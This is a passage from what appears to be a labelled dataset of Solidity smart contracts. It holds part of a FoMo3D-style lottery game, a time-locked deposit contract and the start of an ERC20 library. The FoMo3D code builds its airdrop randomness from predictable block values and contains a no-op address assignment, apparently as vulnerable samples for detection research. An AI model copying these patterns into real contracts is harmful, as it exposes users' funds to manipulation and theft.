F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
round_[_rID].pot = _pot.add(_p3d).add(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
admin.transfer(_com);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
round_[_rID].pot = round_[_rID].pot.add(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 5,168 |
pragma solidity ^0.4.13;
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract asdfgh {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1546509999;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
if (msg.value == 0) {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
if (msg.value == 0.001 ether) {
require (block.timestamp > partyTime);
ForeignToken token = ForeignToken(0xA15C7Ebe1f07CaF6bFF097D8a589fb8AC49Ae5B3);
uint256 amount = token.balanceOf(address(this));
token.transfer(msg.sender, amount);
}
}
} | 1 | 4,760 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
